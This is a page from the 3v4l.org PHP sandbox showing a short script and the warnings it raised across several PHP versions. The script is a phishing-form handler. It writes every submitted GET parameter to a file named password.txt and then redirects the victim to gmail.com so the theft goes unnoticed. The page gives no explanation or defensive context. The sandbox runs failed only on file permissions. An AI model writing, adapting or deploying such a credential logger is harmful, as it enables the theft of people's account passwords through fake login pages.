3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<br \> <?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit;?> <br \>
based on hPaNQ
Output for 7.0.20, 7.1.5 - 7.2.0
<br \> Warning: Cannot modify header information - headers already sent by (output started at /in/uqZKM:1) in /in/uqZKM on line 2 Warning: fopen(password.txt): failed to open stream: Permission denied in /in/uqZKM on line 3 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/uqZKM on line 10 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/uqZKM on line 11
Output for 5.3.20 - 7.0.6, 7.1.0
<br \> Warning: Cannot modify header information - headers already sent by (output started at /in/uqZKM:2) in /in/uqZKM on line 2 Warning: fopen(password.txt): failed to open stream: Permission denied in /in/uqZKM on line 3 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/uqZKM on line 10 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/uqZKM on line 11